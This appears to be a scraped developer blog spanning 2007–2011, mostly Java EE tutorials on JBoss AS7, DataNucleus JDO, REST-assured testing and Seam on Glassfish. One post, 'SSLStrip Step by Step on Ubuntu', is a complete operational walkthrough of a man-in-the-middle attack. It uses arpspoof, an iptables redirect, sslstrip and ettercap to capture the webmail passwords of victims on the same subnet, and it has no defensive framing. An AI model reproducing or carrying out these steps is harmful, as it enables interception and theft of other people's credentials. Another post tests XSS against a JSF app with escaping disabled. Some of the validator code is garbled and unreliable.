jkook

Enable DataNucleus logs in Jboss AS7

2011-08-02T16:24:00.000+05:30

Jboss AS7 has a new logging system. It has a centralized configuration. There are only two configuration files a) standalone.xml b) domain.xml. Standalone.xml is used when jboss is running in standalone mode. domain.xml is used in domain mode. It is recommend that these file should be changed only through management api or command line features provided by jboss. It is convenient for the developer to know the standalone.xml. Every thing (almost ) in AS7 is a module or a subsystem. To get desired results one has to locate the subsystem and add his changes. For logging the subsystem is urn:jboss:domain:logging:1.0

There are two handlers <console-handler> and a <periodic-rotating-file-handler>
There can be many <loggers>

The below logger will log every thing from DataNucleus
<logger category="DataNucleus">
<level name="DEBUG">
</level></logger>

This one restricts to JDO
<logger category="DataNucleus.JDO">
<level name="DEBUG">
</level></logger>

Detailed list of loggers are here http://www.datanucleus.org/products/accessplatform_3_0/logging.html

Wait why cant I see the debug logs ? Because you have to increase log level of your preferred handler. I have choosen to log into a FILE as below
<periodic-rotating-file-handler autoflush="true" name="FILE">
<level name="DEBUG">
<formatter>
<pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p [%c] (%t) %s%E%n">
</pattern-formatter></formatter>
<file path="server.log" relative-to="jboss.server.log.dir">
<suffix value=".yyyy-MM-dd">
</suffix></file></level></periodic-rotating-file-handler></loggers></periodic-rotating-file-handler></console-handler>

NetBeans7 integration with Datanucleus JDO

2011-07-29T15:16:00.002+05:30

The most important step in developing application with DataNucleus is enhancement of compiled classes. NetBeans provides powerful features for integrating the build enviromnet for Datanucleus with out any need of plugin.

Maven :- NetBeans has a native integration with maven. Any datanucleus project based on maven will open and run as is with netbeans. No changes are needed in the project nor in netbeans.

ANT :- The default build system in netbeans is Ant. Follow through for steps involved. There are two types of enhancement. 1) When we need typesafe queries datanucleus provides annotation processor. 2)Byte Code enhancement by datanucleus enhancer.

Requirements
1. Datanucleus from http://sourceforge.net/projects/datanucleus/files/datanucleus-accessplatform/ choose datanucleus-accessplatform-full-deps-3.0.0-m6.zip it has most of it.
2. http://sourceforge.net/projects/datanucleus/files/datanucleus-jca/ needed if you are working with JavaEE

Setup Libraries for datanucleus

Datanucleus - Containing all files from lib folder
Datanucleusdeps - Containing all files from deps folder

TypeSafe Queries :- Datanucleus generates addtional code for supporting type safe queries. Ensure that "Enable Annotion processing" check box is selected, which is under Project Properties | build | compiling
Enhancer :- Datanucleus provides an ant task to enhancement. This task has to be executed just after compiling all the classes in the project. Open the files tab and localte the build.xml . Paste the below code before the end of

<target name="-post-compile" depends="init">
<path id="module.enhancer.classpath">
<pathelement path="${javac.classpath}"/>
<pathelement location="${build.classes.dir}"/>
</path>
<taskdef name="datanucleusenhancer" classpathref="module.enhancer.classpath"
classname="org.datanucleus.enhancer.tools.EnhancerTask" />
<echo message="start datanucleusenhancer"/>
<datanucleusenhancer classpathref="module.enhancer.classpath" dir="${build.classes.dir}" verbose="true">
<fileset dir="${build.classes.dir}/com/blogspot/jkook/daytrader/jdo/">
<include name="**/*.class"/>
</fileset>
</datanucleusenhancer>
<echo message="end datanucleusenhancer"/>
</target>

You output screen will show a log smilar as below



Compiling 5 source files to /NetBeansProjects/JDOTutorial/build/web/WEB-INF/classes

DataNucleus : JDO Query - com.blogspot.jkook.daytrader.jdo.JDOOrderData -> com.blogspot.jkook.daytrader.jdo.QJDOOrderData

Note: Some input files use unchecked or unsafe operations.

Note: Recompile with -Xlint:unchecked for details.

Copying 2 files to /NetBeansProjects/JDOTutorial/build/web/WEB-INF/classes

start datanucleusenhancer

Jul 29, 2011 2:40:36 PM org.datanucleus.enhancer.DataNucleusEnhancer 

INFO: DataNucleus Enhancer : Using ClassEnhancer "ASM" for API "JDO"

Jul 29, 2011 2:40:37 PM org.datanucleus.enhancer.DataNucleusEnhancer main

INFO: DataNucleus Enhancer (version 3.0.0.m6) : Enhancement of classes

DataNucleus Enhancer (version 3.0.0.m6) : Enhancement of classes

Jul 29, 2011 2:40:38 PM org.datanucleus.api.jdo.metadata.JDOAnnotationReader processClassAnnotations

INFO: Class "com.blogspot.jkook.daytrader.jdo.JDOOrderData" has been specified with JDO annotations so using those.

Jul 29, 2011 2:40:38 PM org.datanucleus.metadata.MetaDataManager loadClasses

INFO: Class "com.blogspot.jkook.daytrader.jdo.QJDOOrderData" has no MetaData or annotations.

Jul 29, 2011 2:40:38 PM org.datanucleus.enhancer.AbstractClassEnhancer save

INFO: Writing class file "/NetBeansProjects/JDOTutorial/build/web/WEB-INF/classes/com/blogspot/jkook/daytrader/jdo/JDOOrderData.class" with enhanced definition

Jul 29, 2011 2:40:38 PM org.datanucleus.enhancer.DataNucleusEnhancer addMessage

INFO: DataNucleus Enhancer completed with success for 1 classes. Timings : input=514 ms, enhance=290 ms, total=804 ms. Consult the log for full details

DataNucleus Enhancer completed with success for 1 classes. Timings : input=514 ms, enhance=290 ms, total=804 ms. Consult the log for full details

end datanucleusenhancer 

  

compile:

compile-jsps:

Created dir:  /NetBeansProjects/JDOTutorial/dist

Building jar:  /NetBeansProjects/JDOTutorial/dist/JDOTutorial.war

do-dist:

dist:

BUILD SUCCESSFUL (total time: 6 seconds)

The first red line is from the datanucleus annotation processor
Next two red lines are from the ant task we just added

Getting started with JDO on Jboss AS7 in Seven Steps

2011-07-29T12:26:00.027+05:30

Jboss as7 is the latest JavaEE6 server while Datanucleus is the greatest peristance(JDO) implementation. Integrating these two softwares is straight forward. However to be able to leverage all the power of JavaEE and also enjoy power of JDO I will engage you in a seven step process

1.Download AS7 and Datanucleus
2.Install Jboss As 7
3.Install and configure jdbcdriver/ datasource
4.Install Datanucleus as jboss module
5.Install Datanucleus JCA
6.Configure Datanucleus
7.Access the PersistenceManager

Step 1. Download AS7 and Datanucleus

http://www.jboss.org/as7 - I have jboss-as-7.0.0.Final
http://sourceforge.net/projects/datanucleus/files/datanucleus-accessplatform/ - I have datanucleus-accessplatform-full-deps-3.0.0-m6.zip
http://sourceforge.net/projects/datanucleus/files/datanucleus-jca/ - I have datanucleus-jca-3.0.0-m6.rar

Step 2. Install Jboss AS 7

unzip into $home/jboss-as-7.0.0.Final -- Thats it

Jboss AS 7 is new server and its going to be a new new experice one stay with me on this wonderful flight. It loads fast <3s. Configuration is controlled by single file standalone.xml or domain.xml. Two modes of operation standalone and domain mode we will work in standalone mode. Modular server with osgi support Upgraded to JCA 1.6. Classloading is entirely fresh. Ofcource I have listed very few which are relavant here.
Start the server $home/jboss-as-7.0.0.Final/bin/standalone.sh and open http://localhost:8080/
Expect to see this banner “Welcome to AS 7”. Jboss7 runs runs in two modes standalone and domain. In standalone mode it uses standalone.xml and in Domain mode it looks for domain.xml. In this exercise we are intrested in standalone.xml

Step 3. Install and configure jdbcdriver/ datasource

Very simple drop the driver in $home/jboss-as-7.0.0.Final/standalone/deployments. Yes believe me you have installed the driver and ready for use.
Next we need two datasources one Managed and other non managed. So i created java:jboss/datasources/TradeDBDS which has jta="false" and java:jboss/datasources/TradeDBDSJTA with jta="true"
Every thing in Jboss as7 is a module and controlled by respective subsystem. The datasource is managed by

urn:jboss:domain:datasources:1.0.

Locate it in your standalone.xml. Below is the sample datasource

<subsystem xmlns="urn:jboss:domain:datasources:1.0">
<datasource jndi-name="java:jboss/datasources/TradeDBDS" pool-name="TRADEDB_Pool" enabled="true" jta="false" use-java-context="true" use-ccm="true">
<connection-url>
jdbc:oracle:thin:@10.10.10.10:1521:orcl11g
</connection-url>
<driver>
ojdbc6.jar
</driver>
<pool>
<min-pool-size>
1
</min-pool-size>
<max-pool-size>
2
</max-pool-size>
<prefill>
true
</prefill>
<use-strict-min>
false
</use-strict-min>
<flush-strategy>
FailingConnectionOnly
</flush-strategy>
</pool>
<security>
<user-name>
tradedb
</user-name>
<password>
keepguessing
</password>
</security>
</datasource>
</subsystem>

Step 4. Install Datanucleus as jboss module
The libraries inside the webapplication cannot access the libraries in the JCA connector. Jboss takes care of JavaEE libraries such that all the webapplications have proper access. Since jdo is not part of javaEE we have to tell Jboss to share these libraries with all web applications. The trick is very easy
Create a folder $home/jboss-as-7.0.0.Final/modules/javax/jdo/main. Copy following files datanucleus-api-jdo-3.0.0-m6.jar, datanucleus-cache-3.0.0-m4.jar,datanucleus-core-3.0.0-m6.jar,datanucleus-jdo-query-3.0.0-m3.jar,datanucleus-rdbms-3.0.0-m6.jar,jdo-api-3.1-SNAPSHOT-20110319.jar.
Notice the folder main
Create a file module.xml. Contents as follows

<module name="javax.jdo" xmlns="urn:jboss:module:1.0">
<resources>
<resource-root path="datanucleus-api-jdo-3.0.0-m6.jar"></resource-root>
<resource-root path="datanucleus-cache-3.0.0-m4.jar"></resource-root>
<resource-root path="datanucleus-core-3.0.0-m6.jar"></resource-root>
<resource-root path="datanucleus-jdo-query-3.0.0-m3.jar"></resource-root>
<resource-root path="datanucleus-rdbms-3.0.0-m6.jar"></resource-root>
<resource-root path="jdo-api-3.1-SNAPSHOT-20110319.jar"></resource-root>
</resources>
<dependencies>
<module name="javax.api"></module>
<module name="javax.transaction.api"></module>
</dependencies>
</module>

Let the classlaoder majick take over

Step 5 Install Datanucleus JCA
Open the rar file remove all the jars except datanucleus-jca-3.0.0-m6.jar. Remove all xml files except plugin.xml. Edit ra.xml inside META-INF folder replace the contents with

<connector>
<display-name>DataNucleus Connector</display-name>
<description></description>
<vendor-name>DataNucleus</vendor-name>
<spec-version>1.0</spec-version>
<eis-type>JDO Adaptor</eis-type>
<version>1.0</version>
<resourceadapter>
<managedconnectionfactory-class>org.datanucleus.jdo.connector.ManagedConnectionFactoryImpl</managedconnectionfactory-class>
<connectionfactory-interface>javax.resource.cci.ConnectionFactory</connectionfactory-interface>
<connectionfactory-impl-class>org.datanucleus.jdo.connector.PersistenceManagerFactoryImpl</connectionfactory-impl-class>
<connection-interface>javax.resource.cci.Connection</connection-interface>
<connection-impl-class>org.datanucleus.jdo.connector.PersistenceManagerImpl</connection-impl-class>
<transaction-support>LocalTransaction</transaction-support>
<config-property>
<config-property-name>PersistenceUnitName</config-property-name>
<config-property-type>java.lang.String</config-property-type>
<config-property-value>"pu"</config-property-value>
</config-property>
<config-property>
<config-property-name>PersistenceXmlFilename</config-property-name>
<config-property-type>java.lang.String</config-property-type>
<config-property-value>file:///data1/jboss-as-7.0.0.Final/standalone/deployments/jdopersistence.xml</config-property-value>
</config-property>
<authentication-mechanism>
<authentication-mechanism-type>BasicPassword</authentication-mechanism-type>
<credential-interface>javax.resource.spi.security.PasswordCredential</credential-interface>
</authentication-mechanism>
<reauthentication-support>false</reauthentication-support>
</resourceadapter>
</connector>

The important properties are PersistenceUnitName and PersistenceXmlFilename.
PersistenceUnitName has to be same across other files ie, standalone.xml and jdopersistance.xml. I am using pu. ~~To work around an known issue we have to xmlescape the characters around pu~~
PersistenceXmlFilename should point to the full path.
Add a file jboss-deployment-structure.xml in META-INF folder

<jboss-deployment-structure>
<deployment>
<exclusions>
</exclusions>
<dependencies>
<module name="javax.jdo"/>
</dependencies>
</deployment>
</jboss-deployment-structure>

This file tells jboss to load JCA after loading datanucleus(javax.jdo)

We can access the resource-adapter via JNDI. We need to inform Jboss the JNDI location where the persistanceManagerFactory should be available. Open standalone.xml and locate the subsystem for resource-adapter and copy the below configuration.

<subsystem xmlns="urn:jboss:domain:resource-adapters:1.0">
<resource-adapters>
<resource-adapter>
<archive>
datanucleus-jca-3.0.0-m6.rar
</archive>
<connection-definitions>
<connection-definition
class-name="org.datanucleus.jdo.connector.ManagedConnectionFactoryImpl"
jndi-name="java:/TraderDB-PU"
enabled="true" use-java-context="true"
pool-name="DNConnectionFactory"
use-ccm="true">
<config-property name="PersistenceUnitName">
pu
</config-property>
</connection-definitions>
</connection-definitions>
</resource-adapter>
</resource-adapters>
</subsystem>

Step 6. Configure Datanucleus
All the configuration of datanucleus is in jdopersistence.xml. The file name should be same as defined in PersistenceXmlFilename. The behaviour can be defined by adding properties. Detailed list of properties is here.
jdopersistance.xml

<?xml version="1.0" encoding="UTF-8" ?>
<persistence xmlns="http://java.sun.com/xml/ns/persistence"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/persistence
http://java.sun.com/xml/ns/persistence/persistence_1_0.xsd" version="1.0">
<persistence-unit name="pu">
<properties>
<property name="datanucleus.connection.resourceType" value="JTA"/>
<property name="datanucleus.storeManagerType" value="rdbms"/>
<property name="datanucleus.autoCreateSchema" value="false"/>
<property name="datanucleus.ConnectionFactoryName" value="java:jboss/datasources/TradeDBDSJTA"/>
<property name="datanucleus.ConnectionFactory2Name" value="java:jboss/datasources/TradeDBDS"/>
<property name="datanucleus.autoStartClassNames" value="com.blogspot.jkook.daytrader.jdo.JDOOrderData"/>
<property name="datanucleus.autoStartMechanism" value="Classes"/>
<property name="datanucleus.autoStartMechanismMode" value="Ignored"/>
<property name="datanucleus.jtaLocator" value="custom_jndi"/>
<property name="datanucleus.jtaJndiLocation" value="java:jboss/TransactionManager"/>
</properties>
</persistence-unit>
</persistence>

datanucleus.ConnectionFactoryName has to be JTA enabled datasource
datanucleus.ConnectionFactory2Name has to be non JTA
TransactionManger JNDI name in as7 has changed so we need to configure using datanucleus.jtaJndiLocation and datanucleus.jtaLocator
Almost done ! stay with me to start coding

Step 7. Access PersistenceManager
Alright enough configuiration show me some code. PersistenceManager can be accesed through JNDI either by injecting or by direct access using InitialContext(). I prefer to use CDI @Producer and @Inject here is the sample

PersistenceManagerFactory pmf = (PersistenceManagerFactory) 
context.lookup("java:/TraderDB-PU");
PersistenceManager pm = pmf.getPersistenceManager();

Appratus
Jdk 1.6, JbossAs7, NetBeans, ojdbc6.jar, Oracle11g, Datanucleus3.0.0-m6, JavaEE6, CDI, Ejb3.1

Drools Best Practices - Must for every Drools programmer

2011-07-06T14:57:00.000+05:30

A very well organised presentation with valuable suggestions.
This is a must for every drools programmer.
http://www.slideshare.net/jamet123/best-practices-for-jboss-drools

RestEasy Avoid -LazyInitializationException

2011-06-16T19:10:00.002+05:30

When we work with JPA one cannot avoid using relations. For eg UserAccount has relation with UserAccountProfile. We often come across LazyInitializationException.
However when accessing UserAccount resource we may need to suppress xml generation for UserAccountProfile. Solution is to use @XmlTransient

/**
      * @return the useraccount
      */
     @XmlTransient
     public Useraccount getUseraccount() {
         return useraccount;
     }

I have Annotated getUserAccount in the Entity Order.java. This annotation does not work with fields.
Adtionally you can use @ManyToOne(fetch = FetchType.LAZY) to avoid the database call :)

Applies to : Jboss,JAX-WS,RestEasy,JPA,Hibernate

Restified DayTrader Launched (RestifiedTrader)

2011-06-14T21:41:00.001+05:30

Restified Trader aka Restified DayTrader is Trading application implemented using REST. It is a proof of concept for the restful design published by RESTify-DayTrader(http://bitworking.org/news/201/RESTify-DayTrader). Implemented in JavaEE6 and JAX-RS. It implements all requirements of Apache DayTrader Benchmark Sample. Currently it does not provide a UI.
Checkout following link for more details
http://sourceforge.net/p/restifiedtrader/home/

REST-assured Tricks How to test HTTP 201 Created ?

2011-06-14T16:24:00.000+05:30

How to test HTTP 201 Created ?

This is two testcases a) Status Code b) Location header

// Prepare data to be posted    
 String xmlBody = "<orderData><orderType>BUY</orderType><quantity>44</quantity><symbol>YHO</symbol></orderData>";  
String location = given()  
  .body(xmlBody)  
  .contentType(ContentType.XML).body(xmlBody)  
 // a) test status code  
   .expect().statusCode(307)  
   .when()  
   .post("/RestFullDayTrader/resources/pending_orders/100").getHeader("Location");  
 // b) test Location Header  
 assertTrue(location.contains("pending_orders/100"));

REST-assured Tricks How to test Array of values -XML

2011-06-08T14:39:00.002+05:30

RESTful web services often return multiple values. Some times in form of an array.To test for multiple values we can use .hasItems()
hasItems() works only for JSON. For XML we have to use hasXPath()

// test multiple values
String result= given().header("accept", "application/xml")
   .expect()
   .body(hasXPath("//symbol[text()='SYM9']"),hasXPath("//symbol[text()='SYM1']"))
   .when()
   .get("/RestFullDayTrader/resources/quotes").asString();

REST-assured Tricks How to test Array of values -JSON

2011-06-08T14:35:00.000+05:30

RESTful web services often return multiple values. Some times in form of an array.
To test for multiple values we can use .hasItems()
hasItems() works only for JSON

// test multiple values
String result=  given().header("accept", "application/json")
  .expect().body("quote.symbol", hasItems("SYMBOLICIC9","SYMBOLICIC1","SYMBOLICIC9"))
  .when()
  .get("/RestFullDayTrader/resources/quotes").asString();

REST-assured Tricks How to test custom content type?

2011-06-08T12:02:00.000+05:30

The .contentType(ContentType.JSON) supports limited set of contentypes.ie,. ANY,TEXT,JSON,XML,HTML,URLENC and BINARY.
In RestFul applications we also create custom types. for Eg I created application/vnd.useraccountprofile+json
REST-assured can be used to test any content. The trick is the use .header()

result= given().contentType(ContentType.JSON)
    .body(userAccountProfile.toString())
    .header("accept", "application/vnd.useraccountprofile+json")                
    .header("Content-Type", "application/vnd.useraccountprofile+json")               
    .when()
    .put("/RestFullDayTrader/resources/acct/"+useraccountid+";profile")
    .expect().body("openbalance", equalTo(121),"useraccountid",notNullValue())
    .asString();

REST-assured Tricks How to test a value in JSON

2011-06-08T11:45:00.002+05:30

Use equalTo()
When the value is a string use single quotes '121'
In the below example the openbalance is a property of useraccount. useraccount is the JSON object name in the JSON.
Some implementation does not return the object name. In such cases replace "useraccount.openbalance" with "openbalance"

String result = given().header("accept", "application/json")
 .contentType(ContentType.XML).body(xmlBody)
 .expect().body("useraccount.openbalance", equalTo(121),"useraccount.useraccountid",notNullValue())
                .when().post("/RestFullDayTrader/resources/acct").asString();

REST-assured Tricks How to test for 307 Temporary Redirect ?

2011-06-08T10:57:00.001+05:30

Testing for 307 has two parts a) test http status code b) test http header Location

String xmlBody = "<orderData><orderType>BUY</orderType><quantity>44</quantity><useraccountid>10</useraccountid></orderData>";
//xml payload
String location = given()
        .body(xmlBody)
        .contentType(ContentType.XML).body(xmlBody)
 // a) test http status code 307
 .expect().statusCode(307)
       .when()
       .post("/RestFullDayTrader/resources/pending_orders/100").getHeader("Location");
        System.out.println(" Location " + location);      
 // b) test http header Location   
  assertTrue(location1.contains("pending_orders/100"));

Test code using prettify

2011-06-07T18:21:00.002+05:30

public void testReliablePostBuy() throws Exception {
        System.out.println("testReliablePostBuy");
        String xmlBody = "BUY44SYMBOLICIC110";
        //xml

How to use prettify with blogger/blogspot?

Secure applications with JSF JSF2 XSS

2009-12-01T01:22:00.001+05:30

Securing web-applications with JSF2 is lot more easier. Java EE provides a lot of security features.Lets examine these features under the context of OWASP top Ten actually try to hack the application and analyze the results.

XSS or CrossSite Scripting : Protection against XSS is inbuilt and available by default. I have created sample application using Netbeans. It has a kool code generator for jsf2 crud operations.

Jsf code to display a field. <h:outputText value="#{item.description}" />

Lets inject XSS vector from http://ha.ckers.org/xss.html .

Result after injecting javascript into description fields

Note that the javascript is displayed in the table as is. It is not executed. Another screen shot with IE

I got similar result with Chrome.

Modified the jsf not to handle XSS <h:outputText value="#{item.description}" escape="false"/>

Popup in FireFox

Hacked Result in FF

Hacked Result in IE

Hacked Result in Chrome, Interestingly Chrome was not able to render the page.

Conclusion jsf provides XSS protection by Default. I soon present results of more attacks.

SSLStrip Step by Step on Ubuntu

2009-09-10T13:27:00.003+05:30

SSLStrip used along with MITM to hack SSL websites.
You will need following tools

SSLStrip
arpspoof
ettercap
Ubuntu Linux
Internet Connection
Victim has to be in the same subnet

Step 1:- Download SSLStrip from http://www.thoughtcrime.org/software/sslstrip/

Step 2:- Unzip the downloaded files use "tar -zxvf sslstrip-0.4.tar.gz"

Step 3:- Build SSLStrip change directory to unzip folder run "python setup.py build"

Step 4:- Install SSLStrip run "sudo python setup.py install" , Requires root privilages

Step 5:- Install arpspoof "sudo apt-get install dsniff"

Step 6:- Install ettercap "sudo apt-get install ettercap"

Step 7:- Verify you ipaddress "ifconfig" Notice the hackers ip is 172.168.1.3

Step 8:- Verify your default gateway "ip route show | grep default | awk '{ print $3}' "

Note : This hack works only if victims gateway address is same as that of the Hacker. (172.168.1.1 in the above example)

Step 9:- Create three different tabs in your terminal window. We need to run three commands parallely. In first tab run " sudo arpspoof -t 172.168.1.4 172.168.1.1"

Step 10:- Second tab run "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000"
and run "sslstrip"

Step 11:- In the thisd tab run ettercap. Ethercap will print all the password it sniffed on the console. "sudo ettercap -Tqz"

Step 12:- Wait for the victim to login to gmail , yahoo etc.. the passwords will be printed on ettercap console.

jkookOFCTags Released

2009-02-14T17:22:00.002+05:30

jkookOFCTags Released
Download link

jkookOFCTags is a jsp tag library for drawing flash charts. It is based on famous Open Flash Chart project
It extends of Open Flash Chart 2.x Library for Java
Depends on xstream1.3.1

Installing metro on WebSphere6.1

2009-02-14T13:55:00.007+05:30

Installing metro on WebSphere6.1. WithOut installing feature pack

Create you web application.
Most important change is add
com.sun.xml.ws.transport.http.servlet.WSServlet and your webservices entries in web.xml and sun-jaxws.xml

Create EAR file

META-INF---\
Application.xml
webmodule.war---\
META-INF --\
MANIFEST.MF
webservices-api.jar
webservices-extra.jar
webservices-extra-api.jar
webservices-rt.jar
webservices-tools.jar

Remove conflicting jars from WEB-INF/lib
jaxb-api-1.5.jar
jaxb-impl-1.5.jar
jaxb-libs-1.5.jar
jaxb-xjc-1.5.jar
jaxrpc-api-1.1.jar
jaxrpc-impl-1.1.jar
jaxrpc-spi-1.1.jar
xerces-2.0.2.jar
xml-apis-2.0.2.jar

Contents of Application.XML



 1

 2 <application id="Application_ID1">

 3     <display-name>MyEnterpriseApplication</display-name>

 4     <module id="WarModule">

 5         <web>

 6             <web-uri>webmodule.war</web-uri>

 7             <context-root>/metrowebservices</context-root>

 8         </web>

 9     </module>

10 </application>

11

add following line to MANIFEST.MF
Class-Path: webservices-api.jar webservices-extra.jar webservices-extra-api.jar webservices-rt.jar webservices-tools.jar

Finally
ON IBM administration console
select : Classes loaded with application class loader first

What is a good password

2009-01-25T16:50:00.001+05:30

Very nice article on Good passwords.
Strong password
Check your password strength

iScreen Validation in web application

2008-09-17T15:20:00.010+05:30

iScreen validations provides server side validations. It provides elaborate documentation on how to implement your validations. There are two kinds of projects which need iScreen.
1) Project is in initial phases
2) Project is in advanced stages and we suddenly discover that there are no server side validations.
The later use case is challenging and tricky. This is my first blog entry in a series where I ll discuss how we have effectively implemented iScreen in a large project which has around 1600 separate screens.

Handling String Arrays

iScreen provides 'org.iscreen.StringValidator'. It provides length validation. However it does not handle values in an array. In our code we are passing requestMap as object to be validated. The requesr map contains request paramters as keys and values as haspmap value. Servlet creates an array of values when there are multiple fields with same name in the html form. The following code will not validate all the values in the "orderId" field.

<use-validator ref="org.iscreen.StringValidator" name="orderId">
<mapping from="#root.orderId" to="value" />
<label>Order Id</label>
<constraint property="minLength">10</constraint>
<constraint property="maxLength">10</constraint>
</use-validator>

First solution is modify the OGNL expression. The ognl expression will check the data type if it is an array then pass the first value in the array. The updated code

<use-validator ref="org.iscreen.StringValidator" name="orderId">
<mapping from="#root.orderId instanceof java.lang.String[] ? #root.orderId[0] : root.orderId" to="value" />
<label>Order Id</label>
<constraint property="minLength">10</constraint>
<constraint property="maxLength">10</constraint>
</use-validator>

The above code will only validate the first value in the array. This not sufficient in most cases

Solution is to extend the org.iscreen.StringValidator to handle array of values.
Following is the modified StringValidator class.

CustomStringValidator.java

 1 /*
 2  * Copyright 2006 Dan Shellman
 3  *
 4  * Licensed under the Apache License, Version 2.0 (the "License");
 5  * you may not use this file except in compliance with the License.
 6  * You may obtain a copy of the License at
 7  *
 8  * http://www.apache.org/licenses/LICENSE-2.0
 9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 package org.iscreen.validators;
17
18 import org.iscreen.SimpleBean;
19 import org.iscreen.ValidatorContext;
20
21 /**
22  * The CustomStringValidator checks the length of the given value in an array.
23  *
24  * @author Shrikant Sarda
25  */
26 public class CustomStringValidator extends StringValidator {
27
28     /**
29      * Default constructor.
30      */
31     public CustomStringValidator() {
32     } //end StringValidator()
33
34     public void validate(ValidatorContext context, Object beanToValidate) {
35         String value;
36         int valueLength;
37         String[] arrValue = null;
38
39         if (beanToValidate != null && ((SimpleBean) beanToValidate).getValue() != null) {
40             if (((SimpleBean) beanToValidate).getValue() instanceof String[]) {
41                 arrValue = (String[]) ((SimpleBean) beanToValidate).getValue();
42             }
43         }
44
45         if (arrValue != null) {
46             //System.out.println("in if");
47             //String[] customBeanToValidate = (String[])beanToValidate;
48             for (int i = 0; i < class="line-number">49                 value = arrValue[i];
50                 if (value == null) {
51                     if (minLength != null && minLength.intValue() > 0) {
52                         context.reportFailure(nullFailure);
53                     }
54
55                     return;
56                 }
57
58                 valueLength = value.length();
59                 if (minLength != null &&
60                         valueLength < class="line-number">61                     context.reportFailure(minLengthFailure, new Integer(valueLength));
62                 } else if (maxLength != null && maxLength.intValue() == 1 &&
63                         valueLength == 1) {
64                     //System.out.println("valueLength,78:" + valueLength + ",value:" + value);
65                 } else if (maxLength != null &&
66                         valueLength > maxLength.intValue()) {
67                     context.reportFailure(maxLengthFailure, new Integer(valueLength));
68                 }
69
70             } //end for
71         }// end if
72         else {
73             //System.out.println("in else");
74             value = getStringValue(beanToValidate);
75             if (value == null) {
76                 if (minLength != null && minLength.intValue() > 0) {
77                     context.reportFailure(nullFailure);
78                 }
79
80                 return;
81             }
82
83             valueLength = value.length();
84             if (minLength != null &&
85                     valueLength < class="line-number">86                 context.reportFailure(minLengthFailure, new Integer(valueLength));
87             } else if (maxLength != null && maxLength.intValue() == 1 &&
88                     valueLength == 1) {
89                 //System.out.println("valueLength,113:" + valueLength + ",value:" + value);
90             } else if (maxLength != null &&
91                     valueLength > maxLength.intValue()) {
92                 //System.out.println("valueLength,119:" + valueLength + ",value:" + value);
93                 context.reportFailure(maxLengthFailure, new Integer(valueLength));
94             }
95         }//end else
96     } //end validate()
97 } //end CustomStringValidator
98
99

Posting from ScribeFire

2008-09-15T12:31:00.001+05:30

Posting from ScribFire. Checkout Vikrant

Today i have downloaded ScribFire and testing the same

WebApplicationFirewall using iScreen

2008-08-20T14:38:00.002+05:30

Simplest solution for Application security is installing a web application firewall (WAF). Major function of WAF is to validate data. iScreen is one of the most popular validation frame work which can be used to build a firewall.

Most important feature of iScreen validation frame work is support for OGNL and MEVL. Given the full power of validations we can write a genric servlet filter which will act as a firewall. Let us look at various issues related to validations and WAF

Setup of Seam 2.0 Applications for Tomcat 6.0

2008-04-30T16:51:00.002+05:30

A very good article by Edem Morny’s
Setup of Seam 2.0 Applications for Tomcat 6.0

Kooking Seam-gen with Glassfish

2007-12-27T14:33:00.000+05:30

Seam is an application framework for Enterprise Java. It simplifies enterprise application development. However configuring seam to work with appservers other that Jboss is a complex process. Following are the summary of issues I faced when working with the code generated by Seam-Gen

Seam-gen ejb version does not really generate EJB code
JNDI naming conventions for GLASSFISH does not follow that of Jboss. Each ejb has to be mentioned at-lease twice in the web.xml
Seam proposes that the injection of Entitymanger should be left to Seam. One of the argument is that seam has better transaction management which is compatible with Seam conversations.

This requires that we enable Seam Managed Transactions
Consequence is EjbSynchronizations provided by Seam has to be deployed

Seam managed transactions require Manual Flush mode to be enabled. Incidentally Hibernate is the only JPA provider which supports manual flush

Conclusion :
Seam provides power full features for Enterprise development. There are few startup issues while working in non-jboss servers. Give the benefits of seam the limitations are negligible.
Note : For detailed discussion on how to address the above issues refer to my previous blog Kooking Seam with Glassfish

Kooking Seam with Glassfish

2007-12-27T13:04:00.001+05:30

Seam is an application framework for Enterprise Java. The documentation claims that Seam works in any Java EE application server. Lets us investigate how easy /tough it is to kook an enterprise application on Glassfish .

The recipe :

Presentation Layer : JSF, Faceletes,Jboss EL,Xhtml

Business Layer : StateFull session beans

Persistence layer : JPA (~~Toplink~~,Hibernate)

Frame-Work :Jboss-Seam

Serving ON : Glassfish (V2)

Ingredients :

Seam FrameWork : jboss-seam-2.0.0.GA ( Includes- Seam,Seam Gen,Rich Faces,Hibernate,Facelets)

Netbeans IDE: netbeans-6.0-linux(Includes- GlassFish V2,Toplink,Sun Jdk)

The primary objective is to write a quick solution which can perform basic CRUD operations. It is assumed that you have the database tables already created. Shortest path to get there is use Seam-Gen. Seam-Gen can generate code for web-application as well as enterprise application. The generated code works out-of the box provided you use Jboss Application server. We will have to add few spices and salt to make it tasty on GlassFish. We will walkthrough all the tricks needed to make it work with GlassFish.

Secondary objective is to be able to work in my own kitchen. In my kitchen the stove is made of Netbeans.

Setup IDE -- Prepare you IDE
Entities Code Generation -- There are two code generators available
Jsf Code Generation – Views
Setup your project -- Netbeans in action
JNDI naming for EJB -- Glassfish Issue
EjbSynchronizations -- GlassFish issue - JPA issue

Setup IDE

Setup a new database connection to Mysql. (Tip Use Services window)
Copy Mysql JDBC drive to
Go to Tools|Libraries create a new library seam. Add following jars
boss-seam-2.0.0.GA/lib/activation.jar
jboss-seam-2.0.0.GA/lib/ant-antlr.jar
jboss-seam-2.0.0.GA/lib/antlr-runtime.jar
jboss-seam-2.0.0.GA/lib/antlr.jar
jboss-seam-2.0.0.GA/lib/asm-attrs.jar
jboss-seam-2.0.0.GA/lib/asm.jar
jboss-seam-2.0.0.GA/lib/cglib-nodep.jar
jboss-seam-2.0.0.GA/lib/cglib.jar
jboss-seam-2.0.0.GA/lib/commons-beanutils.jar
jboss-seam-2.0.0.GA/lib/commons-collections.jar
jboss-seam-2.0.0.GA/lib/commons-digester.jar
jboss-seam-2.0.0.GA/lib/commons-lang.jar
jboss-seam-2.0.0.GA/lib/commons-logging.jar
jboss-seam-2.0.0.GA/lib/core.jar
jboss-seam-2.0.0.GA/lib/dbunit.jar
jboss-seam-2.0.0.GA/lib/dom4j.jar
